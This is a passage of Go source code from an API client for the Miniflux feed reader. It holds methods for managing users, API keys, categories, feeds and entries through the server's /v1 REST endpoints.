withDefaultTimeout()\n\tdefer cancel()\n\treturn c.VersionContext(ctx)\n}\n\n// VersionContext returns the version of the Miniflux instance.\nfunc (c *Client) VersionContext(ctx context.Context) (*VersionResponse, error) {\n\tbody, err := c.request.Get(ctx, \"/v1/version\")\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\tdefer body.Close()\n\n\tvar versionResponse *VersionResponse\n\tif err := json.NewDecoder(body).Decode(&versionResponse); err != nil {\n\t\treturn nil, fmt.Errorf(\"miniflux: json error (%v)\", err)\n\t}\n\n\treturn versionResponse, nil\n}\n\n// Me returns the logged user information.\nfunc (c *Client) Me() (*User, error) {\n\tctx, cancel := withDefaultTimeout()\n\tdefer cancel()\n\treturn c.MeContext(ctx)\n}\n\n// MeContext returns the logged user information.\nfunc (c *Client) MeContext(ctx context.Context) (*User, error) {\n\tbody, err := c.request.Get(ctx, \"/v1/me\")\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\tdefer body.Close()\n\n\tvar user *User\n\tif err := json.NewDecoder(body).Decode(&user); err != nil {\n\t\treturn nil, fmt.Errorf(\"miniflux: json error (%v)\", err)\n\t}\n\n\treturn user, nil\n}\n\n// Users returns all users.\nfunc (c *Client) Users() (Users, error) {\n\tctx, cancel := withDefaultTimeout()\n\tdefer cancel()\n\treturn c.UsersContext(ctx)\n}\n\n// UsersContext returns all users.\nfunc (c *Client) UsersContext(ctx context.Context) (Users, error) {\n\tbody, err := c.request.Get(ctx, \"/v1/users\")\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\tdefer body.Close()\n\n\tvar users Users\n\tif err := json.NewDecoder(body).Decode(&users); err != nil {\n\t\treturn nil, fmt.Errorf(\"miniflux: response error (%v)\", err)\n\t}\n\n\treturn users, nil\n}\n\n// UserByID returns a single user.\nfunc (c *Client) UserByID(userID int64) (*User, error) {\n\tctx, cancel := withDefaultTimeout()\n\tdefer cancel()\n\treturn c.UserByIDContext(ctx, userID)\n}\n\n// UserByIDContext returns a single user.\nfunc (c *Client) UserByIDContext(ctx context.Context, userID int64) (*User, error) {\n\tbody, err := c.request.Get(ctx, fmt.Sprintf(\"/v1/users/%d\", userID))\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\tdefer body.Close()\n\n\tvar user User\n\tif err := json.NewDecoder(body).Decode(&user); err != nil {\n\t\treturn nil, fmt.Errorf(\"miniflux: response error (%v)\", err)\n\t}\n\n\treturn &user, nil\n}\n\n// UserByUsername returns a single user.\nfunc (c *Client) UserByUsername(username string) (*User, error) {\n\tctx, cancel := withDefaultTimeout()\n\tdefer cancel()\n\treturn c.UserByUsernameContext(ctx, username)\n}\n\n// UserByUsernameContext returns a single user.\nfunc (c *Client) UserByUsernameContext(ctx context.Context, username string) (*User, error) {\n\tbody, err := c.request.Get(ctx, \"/v1/users/\"+username)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\tdefer body.Close()\n\n\tvar user User\n\tif err := json.NewDecoder(body).Decode(&user); err != nil {\n\t\treturn nil, fmt.Errorf(\"miniflux: response error (%v)\", err)\n\t}\n\n\treturn &user, nil\n}\n\n// CreateUser creates a new user in the system.\nfunc (c *Client) CreateUser(username, password string, isAdmin bool) (*User, error) {\n\tctx, cancel := withDefaultTimeout()\n\tdefer cancel()\n\treturn c.CreateUserContext(ctx, username, password, isAdmin)\n}\n\n// CreateUserContext creates a new user in the system.\nfunc (c *Client) CreateUserContext(ctx context.Context, username, password string, isAdmin bool) (*User, error) {\n\tbody, err := c.request.Post(ctx, \"/v1/users\", &UserCreationRequest{\n\t\tUsername: username,\n\t\tPassword: password,\n\t\tIsAdmin:  isAdmin,\n\t})\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\tdefer body.Close()\n\n\tvar user *User\n\tif err := json.NewDecoder(body).Decode(&user); err != nil {\n\t\treturn nil, fmt.Errorf(\"miniflux: response error (%v)\", err)\n\t}\n\n\treturn user, nil\n}\n\n// UpdateUser updates a user in the system.\nfunc (c *Client) UpdateUser(userID int64, userChanges *UserModificationRequest) (*User, error) {\n\tctx, cancel := withDefaultTimeout()\n\tdefer cancel()\n\treturn c.UpdateUserContext(ctx, userID, userChanges)\n}\n\n// UpdateUserContext updates a user in the system.\nfunc (c *Client) UpdateUserContext(ctx context.Context, userID int64, userChanges *UserModificationRequest) (*User, error) {\n\tbody, err := c.request.Put(ctx, fmt.Sprintf(\"/v1/users/%d\", userID), userChanges)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\tdefer body.Close()\n\n\tvar u *User\n\tif err := json.NewDecoder(body).Decode(&u); err != nil {\n\t\treturn nil, fmt.Errorf(\"miniflux: response error (%v)\", err)\n\t}\n\n\treturn u, nil\n}\n\n// DeleteUser removes a user from the system.\nfunc (c *Client) DeleteUser(userID int64) error {\n\tctx, cancel := withDefaultTimeout()\n\tdefer cancel()\n\treturn c.DeleteUserContext(ctx, userID)\n}\n\n// DeleteUserContext removes a user from the system.\nfunc (c *Client) DeleteUserContext(ctx context.Context, userID int64) error {\n\treturn c.request.Delete(ctx, fmt.Sprintf(\"/v1/users/%d\", userID))\n}\n\n// APIKeys returns all API keys for the authenticated user.\nfunc (c *Client) APIKeys() (APIKeys, error) {\n\tctx, cancel := withDefaultTimeout()\n\tdefer cancel()\n\treturn c.APIKeysContext(ctx)\n}\n\n// APIKeysContext returns all API keys for the authenticated user.\nfunc (c *Client) APIKeysContext(ctx context.Context) (APIKeys, error) {\n\tbody, err := c.request.Get(ctx, \"/v1/api-keys\")\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\tdefer body.Close()\n\n\tvar apiKeys APIKeys\n\tif err := json.NewDecoder(body).Decode(&apiKeys); err != nil {\n\t\treturn nil, fmt.Errorf(\"miniflux: response error (%v)\", err)\n\t}\n\n\treturn apiKeys, nil\n}\n\n// CreateAPIKey creates a new API key for the authenticated user.\nfunc (c *Client) CreateAPIKey(description string) (*APIKey, error) {\n\tctx, cancel := withDefaultTimeout()\n\tdefer cancel()\n\treturn c.CreateAPIKeyContext(ctx, description)\n}\n\n// CreateAPIKeyContext creates a new API key for the authenticated user.\nfunc (c *Client) CreateAPIKeyContext(ctx context.Context, description string) (*APIKey, error) {\n\tbody, err := c.request.Post(ctx, \"/v1/api-keys\", &APIKeyCreationRequest{\n\t\tDescription: description,\n\t})\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\tdefer body.Close()\n\n\tvar apiKey *APIKey\n\tif err := json.NewDecoder(body).Decode(&apiKey); err != nil {\n\t\treturn nil, fmt.Errorf(\"miniflux: response error (%v)\", err)\n\t}\n\n\treturn apiKey, nil\n}\n\n// DeleteAPIKey removes an API key for the authenticated user.\nfunc (c *Client) DeleteAPIKey(apiKeyID int64) error {\n\tctx, cancel := withDefaultTimeout()\n\tdefer cancel()\n\treturn c.DeleteAPIKeyContext(ctx, apiKeyID)\n}\n\n// DeleteAPIKeyContext removes an API key for the authenticated user.\nfunc (c *Client) DeleteAPIKeyContext(ctx context.Context, apiKeyID int64) error {\n\treturn c.request.Delete(ctx, fmt.Sprintf(\"/v1/api-keys/%d\", apiKeyID))\n}\n\n// MarkAllAsRead marks all unread entries as read for a given user.\nfunc (c *Client) MarkAllAsRead(userID int64) error {\n\tctx, cancel := withDefaultTimeout()\n\tdefer cancel()\n\treturn c.MarkAllAsReadContext(ctx, userID)\n}\n\n// MarkAllAsReadContext marks all unread entries as read for a given user.\nfunc (c *Client) MarkAllAsReadContext(ctx context.Context, userID int64) error {\n\t_, err := c.request.Put(ctx, fmt.Sprintf(\"/v1/users/%d/mark-all-as-read\", userID), nil)\n\treturn err\n}\n\n// IntegrationsStatus fetches the integrations status for the signed-in user.\nfunc (c *Client) IntegrationsStatus() (bool, error) {\n\tctx, cancel := withDefaultTimeout()\n\tdefer cancel()\n\treturn c.IntegrationsStatusContext(ctx)\n}\n\n// IntegrationsStatusContext fetches the integrations status for the signed-in user.\nfunc (c *Client) IntegrationsStatusContext(ctx context.Context) (bool, error) {\n\tbody, err := c.request.Get(ctx, \"/v1/integrations/status\")\n\tif err != nil {\n\t\treturn false, err\n\t}\n\tdefer body.Close()\n\n\tvar response struct {\n\t\tHasIntegrations bool `json:\"has_integrations\"`\n\t}\n\n\tif err := json.NewDecoder(body).Decode(&response); err != nil {\n\t\treturn false, fmt.Errorf(\"miniflux: response error (%v)\", err)\n\t}\n\n\treturn response.HasIntegrations, nil\n}\n\n// Discover tries to find subscriptions on a website.\nfunc (c *Client) Discover(url string) (Subscriptions, error) {\n\tctx, cancel := withDefaultTimeout()\n\tdefer cancel()\n\treturn c.DiscoverContext(ctx, url)\n}\n\n// DiscoverContext tries to find subscriptions from a website.\nfunc (c *Client) DiscoverContext(ctx context.Context, url string) (Subscriptions, error) {\n\tbody, err := c.request.Post(ctx, \"/v1/discover\", map[string]string{\"url\": url})\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\tdefer body.Close()\n\n\tvar subscriptions Subscriptions\n\tif err := json.NewDecoder(body).Decode(&subscriptions); err != nil {\n\t\treturn nil, fmt.Errorf(\"miniflux: response error (%v)\", err)\n\t}\n\n\treturn subscriptions, nil\n}\n\n// Categories retrieves the list of categories.\nfunc (c *Client) Categories() (Categories, error) {\n\tctx, cancel := withDefaultTimeout()\n\tdefer cancel()\n\treturn c.CategoriesContext(ctx)\n}\n\n// CategoriesContext retrieves the list of categories.\nfunc (c *Client) CategoriesContext(ctx context.Context) (Categories, error) {\n\tbody, err := c.request.Get(ctx, \"/v1/categories\")\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\tdefer body.Close()\n\n\tvar categories Categories\n\tif err := json.NewDecoder(body).Decode(&categories); err != nil {\n\t\treturn nil, fmt.Errorf(\"miniflux: response error (%v)\", err)\n\t}\n\n\treturn categories, nil\n}\n\n// CategoriesWithCounters fetches the categories with their respective feed and unread counts.\nfunc (c *Client) CategoriesWithCounters() (Categories, error) {\n\tctx, cancel := withDefaultTimeout()\n\tdefer cancel()\n\treturn c.CategoriesWithCountersContext(ctx)\n}\n\n// CategoriesWithCountersContext fetches the categories with their respective feed and unread counts.\nfunc (c *Client) CategoriesWithCountersContext(ctx context.Context) (Categories, error) {\n\tbody, err := c.request.Get(ctx, \"/v1/categories?counts=true\")\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\tdefer body.Close()\n\n\tvar categories Categories\n\tif err := json.NewDecoder(body).Decode(&categories); err != nil {\n\t\treturn nil, fmt.Errorf(\"miniflux: response error (%v)\", err)\n\t}\n\n\treturn categories, nil\n}\n\n// CreateCategory creates a new category.\nfunc (c *Client) CreateCategory(title string) (*Category, error) {\n\tctx, cancel := withDefaultTimeout()\n\tdefer cancel()\n\treturn c.CreateCategoryContext(ctx, title)\n}\n\n// CreateCategoryContext creates a new category.\nfunc (c *Client) CreateCategoryContext(ctx context.Context, title string) (*Category, error) {\n\tbody, err := c.request.Post(ctx, \"/v1/categories\", &CategoryCreationRequest{\n\t\tTitle: title,\n\t})\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\tdefer body.Close()\n\n\tvar category *Category\n\tif err := json.NewDecoder(body).Decode(&category); err != nil {\n\t\treturn nil, fmt.Errorf(\"miniflux: response error (%v)\", err)\n\t}\n\n\treturn category, nil\n}\n\n// CreateCategoryWithOptions creates a new category with options.\nfunc (c *Client) CreateCategoryWithOptions(createRequest *CategoryCreationRequest) (*Category, error) {\n\tctx, cancel := withDefaultTimeout()\n\tdefer cancel()\n\treturn c.CreateCategoryWithOptionsContext(ctx, createRequest)\n}\n\n// CreateCategoryWithOptionsContext creates a new category with options.\nfunc (c *Client) CreateCategoryWithOptionsContext(ctx context.Context, createRequest *CategoryCreationRequest) (*Category, error) {\n\tbody, err := c.request.Post(ctx, \"/v1/categories\", createRequest)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\tdefer body.Close()\n\n\tvar category *Category\n\tif err := json.NewDecoder(body).Decode(&category); err != nil {\n\t\treturn nil, fmt.Errorf(\"miniflux: response error (%v)\", err)\n\t}\n\treturn category, nil\n}\n\n// UpdateCategory updates a category.\nfunc (c *Client) UpdateCategory(categoryID int64, title string) (*Category, error) {\n\tctx, cancel := withDefaultTimeout()\n\tdefer cancel()\n\treturn c.UpdateCategoryContext(ctx, categoryID, title)\n}\n\n// UpdateCategoryContext updates a category.\nfunc (c *Client) UpdateCategoryContext(ctx context.Context, categoryID int64, title string) (*Category, error) {\n\tbody, err := c.request.Put(ctx, fmt.Sprintf(\"/v1/categories/%d\", categoryID), &CategoryModificationRequest{\n\t\tTitle: new(title),\n\t})\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\tdefer body.Close()\n\n\tvar category *Category\n\tif err := json.NewDecoder(body).Decode(&category); err != nil {\n\t\treturn nil, fmt.Errorf(\"miniflux: response error (%v)\", err)\n\t}\n\n\treturn category, nil\n}\n\n// UpdateCategoryWithOptions updates a category with options.\nfunc (c *Client) UpdateCategoryWithOptions(categoryID int64, categoryChanges *CategoryModificationRequest) (*Category, error) {\n\tctx, cancel := withDefaultTimeout()\n\tdefer cancel()\n\treturn c.UpdateCategoryWithOptionsContext(ctx, categoryID, categoryChanges)\n}\n\n// UpdateCategoryWithOptionsContext updates a category with options.\nfunc (c *Client) UpdateCategoryWithOptionsContext(ctx context.Context, categoryID int64, categoryChanges *CategoryModificationRequest) (*Category, error) {\n\tbody, err := c.request.Put(ctx, fmt.Sprintf(\"/v1/categories/%d\", categoryID), categoryChanges)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\tdefer body.Close()\n\n\tvar category *Category\n\tif err := json.NewDecoder(body).Decode(&category); err != nil {\n\t\treturn nil, fmt.Errorf(\"miniflux: response error (%v)\", err)\n\t}\n\n\treturn category, nil\n}\n\n// MarkCategoryAsRead marks all unread entries in a category as read.\nfunc (c *Client) MarkCategoryAsRead(categoryID int64) error {\n\tctx, cancel := withDefaultTimeout()\n\tdefer cancel()\n\treturn c.MarkCategoryAsReadContext(ctx, categoryID)\n}\n\n// MarkCategoryAsReadContext marks all unread entries in a category as read.\nfunc (c *Client) MarkCategoryAsReadContext(ctx context.Context, categoryID int64) error {\n\t_, err := c.request.Put(ctx, fmt.Sprintf(\"/v1/categories/%d/mark-all-as-read\", categoryID), nil)\n\treturn err\n}\n\n// CategoryFeeds returns all feeds for a category.\nfunc (c *Client) CategoryFeeds(categoryID int64) (Feeds, error) {\n\tctx, cancel := withDefaultTimeout()\n\tdefer cancel()\n\treturn c.CategoryFeedsContext(ctx, categoryID)\n}\n\n// CategoryFeedsContext returns all feeds for a category.\nfunc (c *Client) CategoryFeedsContext(ctx context.Context, categoryID int64) (Feeds, error) {\n\tbody, err := c.request.Get(ctx, fmt.Sprintf(\"/v1/categories/%d/feeds\", categoryID))\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\tdefer body.Close()\n\n\tvar feeds Feeds\n\tif err := json.NewDecoder(body).Decode(&feeds); err != nil {\n\t\treturn nil, fmt.Errorf(\"miniflux: response error (%v)\", err)\n\t}\n\n\treturn feeds, nil\n}\n\n// DeleteCategory removes a category.\nfunc (c *Client) DeleteCategory(categoryID int64) error {\n\tctx, cancel := withDefaultTimeout()\n\tdefer cancel()\n\treturn c.DeleteCategoryContext(ctx, categoryID)\n}\n\n// DeleteCategoryContext removes a category.\nfunc (c *Client) DeleteCategoryContext(ctx context.Context, categoryID int64) error {\n\treturn c.request.Delete(ctx, fmt.Sprintf(\"/v1/categories/%d\", categoryID))\n}\n\n// RefreshCategory refreshes a category.\nfunc (c *Client) RefreshCategory(categoryID int64) error {\n\tctx, cancel := withDefaultTimeout()\n\tdefer cancel()\n\treturn c.RefreshCategoryContext(ctx, categoryID)\n}\n\n// RefreshCategoryContext refreshes a category.\nfunc (c *Client) RefreshCategoryContext(ctx context.Context, categoryID int64) error {\n\t_, err := c.request.Put(ctx, fmt.Sprintf(\"/v1/categories/%d/refresh\", categoryID), nil)\n\treturn err\n}\n\n// Feeds gets all feeds.\nfunc (c *Client) Feeds() (Feeds, error) {\n\tctx, cancel := withDefaultTimeout()\n\tdefer cancel()\n\treturn c.FeedsContext(ctx)\n}\n\n// FeedsContext gets all feeds.\nfunc (c *Client) FeedsContext(ctx context.Context) (Feeds, error) {\n\tbody, err := c.request.Get(ctx, \"/v1/feeds\")\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\tdefer body.Close()\n\n\tvar feeds Feeds\n\tif err := json.NewDecoder(body).Decode(&feeds); err != nil {\n\t\treturn nil, fmt.Errorf(\"miniflux: response error (%v)\", err)\n\t}\n\n\treturn feeds, nil\n}\n\n// Export exports subscriptions as an OPML document.\nfunc (c *Client) Export() ([]byte, error) {\n\tctx, cancel := withDefaultTimeout()\n\tdefer cancel()\n\treturn c.ExportContext(ctx)\n}\n\n// ExportContext exports subscriptions as an OPML document.\nfunc (c *Client) ExportContext(ctx context.Context) ([]byte, error) {\n\tbody, err := c.request.Get(ctx, \"/v1/export\")\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\tdefer body.Close()\n\n\topml, err := io.ReadAll(body)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\treturn opml, nil\n}\n\n// Import imports an OPML file.\nfunc (c *Client) Import(f io.ReadCloser) error {\n\tctx, cancel := withDefaultTimeout()\n\tdefer cancel()\n\treturn c.ImportContext(ctx, f)\n}\n\n// ImportContext imports an OPML file.\nfunc (c *Client) ImportContext(ctx context.Context, f io.ReadCloser) error {\n\t_, err := c.request.PostFile(ctx, \"/v1/import\", f)\n\treturn err\n}\n\n// Feed gets a feed.\nfunc (c *Client) Feed(feedID int64) (*Feed, error) {\n\tctx, cancel := withDefaultTimeout()\n\tdefer cancel()\n\treturn c.FeedContext(ctx, feedID)\n}\n\n// FeedContext gets a feed.\nfunc (c *Client) FeedContext(ctx context.Context, feedID int64) (*Feed, error) {\n\tbody, err := c.request.Get(ctx, fmt.Sprintf(\"/v1/feeds/%d\", feedID))\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\tdefer body.Close()\n\n\tvar feed *Feed\n\tif err := json.NewDecoder(body).Decode(&feed); err != nil {\n\t\treturn nil, fmt.Errorf(\"miniflux: response error (%v)\", err)\n\t}\n\n\treturn feed, nil\n}\n\n// CreateFeed creates a new feed.\nfunc (c *Client) CreateFeed(feedCreationRequest *FeedCreationRequest) (int64, error) {\n\tctx, cancel := withDefaultTimeout()\n\tdefer cancel()\n\treturn c.CreateFeedContext(ctx, feedCreationRequest)\n}\n\n// CreateFeedContext creates a new feed.\nfunc (c *Client) CreateFeedContext(ctx context.Context, feedCreationRequest *FeedCreationRequest) (int64, error) {\n\tbody, err := c.request.Post(ctx, \"/v1/feeds\", feedCreationRequest)\n\tif err != nil {\n\t\treturn 0, err\n\t}\n\tdefer body.Close()\n\n\ttype result struct {\n\t\tFeedID int64 `json:\"feed_id\"`\n\t}\n\n\tvar r result\n\tif err := json.NewDecoder(body).Decode(&r); err != nil {\n\t\treturn 0, fmt.Errorf(\"miniflux: response error (%v)\", err)\n\t}\n\n\treturn r.FeedID, nil\n}\n\n// UpdateFeed updates a feed.\nfunc (c *Client) UpdateFeed(feedID int64, feedChanges *FeedModificationRequest) (*Feed, error) {\n\tctx, cancel := withDefaultTimeout()\n\tdefer cancel()\n\treturn c.UpdateFeedContext(ctx, feedID, feedChanges)\n}\n\n// UpdateFeedContext updates a feed.\nfunc (c *Client) UpdateFeedContext(ctx context.Context, feedID int64, feedChanges *FeedModificationRequest) (*Feed, error) {\n\tbody, err := c.request.Put(ctx, fmt.Sprintf(\"/v1/feeds/%d\", feedID), feedChanges)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\tdefer body.Close()\n\n\tvar f *Feed\n\tif err := json.NewDecoder(body).Decode(&f); err != nil {\n\t\treturn nil, fmt.Errorf(\"miniflux: response error (%v)\", err)\n\t}\n\n\treturn f, nil\n}\n\n// ImportFeedEntry imports a single entry into a feed.\nfunc (c *Client) ImportFeedEntry(feedID int64, payload any) (int64, error) {\n\tctx, cancel := withDefaultTimeout()\n\tdefer cancel()\n\n\tbody, err := c.request.Post(\n\t\tctx,\n\t\tfmt.Sprintf(\"/v1/feeds/%d/entries/import\", feedID),\n\t\tpayload,\n\t)\n\tif err != nil {\n\t\treturn 0, err\n\t}\n\tdefer body.Close()\n\n\tvar response struct {\n\t\tID int64 `json:\"id\"`\n\t}\n\n\tif err := json.NewDecoder(body).Decode(&response); err != nil {\n\t\treturn 0, fmt.Errorf(\"miniflux: json error (%v)\", err)\n\t}\n\n\treturn response.ID, nil\n}\n\n// MarkFeedAsRead marks all unread entries of the feed as read.\nfunc (c *Client) MarkFeedAsRead(feedID int64) error {\n\tctx, cancel := withDefaultTimeout()\n\tdefer cancel()\n\treturn c.MarkFeedAsReadContext(ctx, feedID)\n}\n\n// MarkFeedAsReadContext marks all unread entries of the feed as read.\nfunc (c *Client) MarkFeedAsReadContext(ctx context.Context, feedID int64) error {\n\t_, err := c.request.Put(ctx, fmt.Sprintf(\"/v1/feeds/%d/mark-all-as-read\", feedID), nil)\n\treturn err\n}\n\n// RefreshAllFeeds refreshes all feeds.\nfunc (c *Client) RefreshAllFeeds() error {\n\tctx, cancel := withDefaultTimeout()\n\tdefer cancel()\n\treturn c.RefreshAllFeedsContext(ctx)\n}\n\n// RefreshAllFeedsContext refreshes all feeds.\nfunc (c *Client) RefreshAllFeedsContext(ctx context.Context) error {\n\t_, err := c.request.Put(ctx, \"/v1/feeds/refresh\", nil)\n\treturn err\n}\n\n// RefreshFeed refreshes a feed.\nfunc (c *Client) RefreshFeed(feedID int64) error {\n\tctx, cancel := withDefaultTimeout()\n\tdefer cancel()\n\treturn c.RefreshFeedContext(ctx, feedID)\n}\n\n// RefreshFeedContext refreshes a feed.\nfunc (c *Client) RefreshFeedContext(ctx context.Context, feedID int64) error {\n\t_, err := c.request.Put(ctx, fmt.Sprintf(\"/v1/feeds/%d/refresh\", feedID), nil)\n\treturn err\n}\n\n// DeleteFeed removes a feed.\nfunc (c *Client) DeleteFeed(feedID int64) error {\n\tctx, cancel := withDefaultTimeout()\n\tdefer cancel()\n\treturn c.DeleteFeedContext(ctx, feedID)\n}\n\n// DeleteFeedContext removes a feed.\nfunc (c *Client) DeleteFeedContext(ctx context.Context, feedID int64) error {\n\treturn c.request.Delete(ctx, fmt.Sprintf(\"/v1/feeds/%d\", feedID))\n}\n\n// FeedIcon gets a feed icon.\nfunc (c *Client) FeedIcon(feedID int64) (*FeedIcon, error) {\n\tctx, cancel := withDefaultTimeout()\n\tdefer cancel()\n\treturn c.FeedIconContext(ctx, feedID)\n}\n\n// FeedIconContext gets a feed icon.\nfunc (c *Client) FeedIconContext(ctx context.Context, feedID int64) (*FeedIcon, error) {\n\tbody, err := c.request.Get(ctx, fmt.Sprintf(\"/v1/feeds/%d/icon\", feedID))\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\tdefer body.Close()\n\n\tvar feedIcon *FeedIcon\n\tif err := json.NewDecoder(body).Decode(&feedIcon); err != nil {\n\t\treturn nil, fmt.Errorf(\"miniflux: response error (%v)\", err)\n\t}\n\n\treturn feedIcon, nil\n}\n\n// FeedEntry gets a single feed entry.\nfunc (c *Client) FeedEntry(feedID, entryID int64) (*Entry, error) {\n\tctx, cancel := withDefaultTimeout()\n\tdefer cancel()\n\treturn c.FeedEntryContext(ctx, feedID, entryID)\n}\n\n// FeedEntryContext gets a single feed entry.\nfunc (c *Client) FeedEntryContext(ctx context.Context, feedID, entryID int64) (*Entry, error) {\n\tbody, err := c.request.Get(ctx, fmt.Sprintf(\"/v1/feeds/%d/entries/%d\", feedID, entryID))\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\tdefer body.Close()\n\n\tvar entry *Entry\n\tif err := json.NewDecoder(body).Decode(&entry); err != nil {\n\t\treturn nil, fmt.Errorf(\"miniflux: response error (%v)\", err)\n\t}\n\n\treturn entry, nil\n}\n\n// CategoryEntry gets a single category entry.\nfunc (c *Client) CategoryEntry(categoryID, entryID int64) (*Entry, error) {\n\tctx, cancel := withDefaultTimeout()\n\tdefer cancel()\n\treturn c.CategoryEntryContext(ctx, categoryID, entryID)\n}\n\n// CategoryEntryContext gets a single category entry.\nfunc (c *Client) CategoryEntryContext(ctx context.Context, categoryID, entryID int64) (*Entry, error) {\n\tbody, err := c.request.Get(ctx, fmt.Sprintf(\"/v1/categories/%d/entries/%d\", categoryID, entryID))\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\tdefer body.Close()\n\n\tvar entry *Entry\n\tif err := json.NewDecoder(body).Decode(&entry); err != nil {\n\t\treturn nil, fmt.Errorf(\"miniflux: response error (%v)\", err)\n\t}\n\n\treturn entry, nil\n}\n\n// Entry gets a single entry.\nfunc (c *Client) Entry(entryID int64) (*Entry, error) {\n\tctx, cancel := withDefaultTimeout()\n\tdefer cancel()\n\treturn c.EntryContext(ctx, entryID)\n}\n\n// EntryContext gets a single entry.\nfunc (c *Client) EntryContext(ctx context.Context, entryID int64) (*Entry, error) {\n\tbody, err := c.request.Get(ctx, fmt.Sprintf(\"/v1/entries/%d\", entryID))\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\tdefer body.Close()\n\n\tvar entry *Entry\n\tif err := json.NewDecoder(body).Decode(&entry); err != nil {\n\t\treturn nil, fmt.Errorf(\"miniflux: response error (%v)\", err)\n\t}\n\n\treturn entry, nil\n}\n\n// Entries fetches entries using the given filter.\nfunc (c *Client) Entries(filter *Filter) (*EntryResultSet, error) {\n\tctx, cancel := withDefaultTimeout()\n\tdefer cancel()\n\treturn c.EntriesContext(ctx, filter)\n}\n\n// EntriesContext fetches entries.\nfunc (c *Client) EntriesContext(ctx context.Context, filter *Filter) (*EntryResultSet, error) {\n\tpath := buildFilterQueryString(\"/v1/entries\", filter)\n\n\tbody, err := c.request.Get(ctx, path)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\tdefer body.Close()\n\n\tvar result EntryResultSet\n\tif err := json.NewDecoder(body).Decode(&result); err != nil {\n\t\treturn nil, fmt.Errorf(\"miniflux: response error (%v)\", err)\n\t}\n\n\treturn &result, nil\n}\n\n// FeedEntries fetches entries for a feed using the given filter.\nfunc (c *Client) FeedEntries(feedID int64, filter *Filter) (*EntryResultSet, error) {\n\tctx, cancel := withDefaultTimeout()\n\tdefer cancel()\n\treturn c.FeedEntriesContext(ctx, feedID, filter)\n}\n\n// FeedEntriesContext fetches feed entries.\nfunc (c *Client) FeedEntriesContext(ctx context.Context, feedID int64, filter *Filter) (*EntryResultSet, error) {\n\tpath := buildFilterQueryString(fmt.Sprintf(\"/v1/feeds/%d/entries\", feedID), filter)\n\n\tbody, err := c.request.Get(ctx, path)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\tdefer body.Close()\n\n\tvar result EntryResultSet\n\tif err := json.NewDecoder(body).Decode(&result); err != nil {\n\t\treturn nil, fmt.Errorf(\"miniflux: response error (%v)\", err)\n\t}\n\n\treturn &result, nil\n}\n\n// CategoryEntries fetches entries for a category using the given filter.\nfunc (c *Client) CategoryEntries(categoryID int64, filter *Filter) (*EntryResultSet, error) {\n\tctx, cancel := withDefaultTimeout()\n\tdefer cancel()\n\treturn c.CategoryEntriesContext(ctx, categoryID, filter)\n}\n\n// CategoryEntriesContext fetches category entries.\nfunc (c *Client) CategoryEntriesContext(ctx context.Context, categoryID int64, filter *Filter) (*EntryResultSet, error) {\n\tpath := buildFilterQueryString(fmt.Sprintf(\"/v1/categories/%d/entries\", categoryID), filter)\n\n\tbody, err := c.request.Get(ctx, path)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\tdefer body.Close()\n\n\tvar result EntryResultSet\n\tif err := json.NewDecoder(body).Decode(&result); err != nil {\n\t\treturn nil, fmt.Errorf(\"miniflux: response error (%v)\", err)\n\t}\n\n\treturn &result, nil\n}\n\n// UpdateEntries updates the status of a list of entries.\nfunc (c *Client) UpdateEntries(entryIDs []int64, status string) error {\n\tctx, cancel := withDefaultTimeout()\n\tdefer cancel()\n\treturn c.UpdateEntriesContext(ctx, entryIDs, status)\n}\n\n// UpdateEntriesContext updates the status of a list of entries.\nfunc (c *Client) UpdateEntriesContext(ctx context.Context, entryIDs []int64, status string) error {\n\ttype payload struct {\n\t\tEntryIDs []int64 `json:\"entry_ids\"`\n\t\tStatus   string  `json:\"status\"`\n\t}\n\n\t_, err := c.request.Put(ctx, \"/v1/entries\", &payload{EntryIDs: entryIDs, Status: status})\n\treturn err\n}\n\n// UpdateEntry updates an entry.\nfunc (c *Client) UpdateEntry(entryID int64, entryChanges *EntryModificationRequest) (*Entry, error) {\n\tctx, cancel := withDefaultTimeout()\n\tdefer cancel()\n\treturn c.UpdateEntryContext(ctx, entryID, entryChanges)\n}\n\n// UpdateEntryContext updates an entry.\nfunc (c *Client) UpdateEntryContext(ctx context.Context, entryID int64, entryChanges *EntryModificationRequest) (*Entry, error) {\n\tbody, err := c.request.Put(ctx, fmt.Sprintf(\"/v1/entries/%d\", entryID), entryChanges)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\tdefer body.Close()\n\n\tvar entry *Entry\n\tif err := json.NewDecoder(body).Decode(&entry); err != nil {\n\t\treturn nil, fmt.Errorf(\"miniflux: response error (%v)\", err)\n\t}\n\n\treturn entry, nil\n}\n\n// ToggleStarred toggles the starred flag of an entry.\nfunc (c *Client) ToggleStarred(entryID int64) error {\n\tctx, cancel := withDefaultTimeout()\n\tdefer cancel()\n\treturn c.ToggleStarredContext(ctx, entryID)\n}\n\n// ToggleStarredContext toggles entry starred value.\nfunc (c *Client) ToggleStarredContext(ctx context.Context, entryID int64) error {\n\t_, err := c.request.Put(ctx, fmt.Sprintf(\"/v1/entries/%d/star\", entryID), nil)\n\treturn err\n}\n\n// SaveEntry sends an 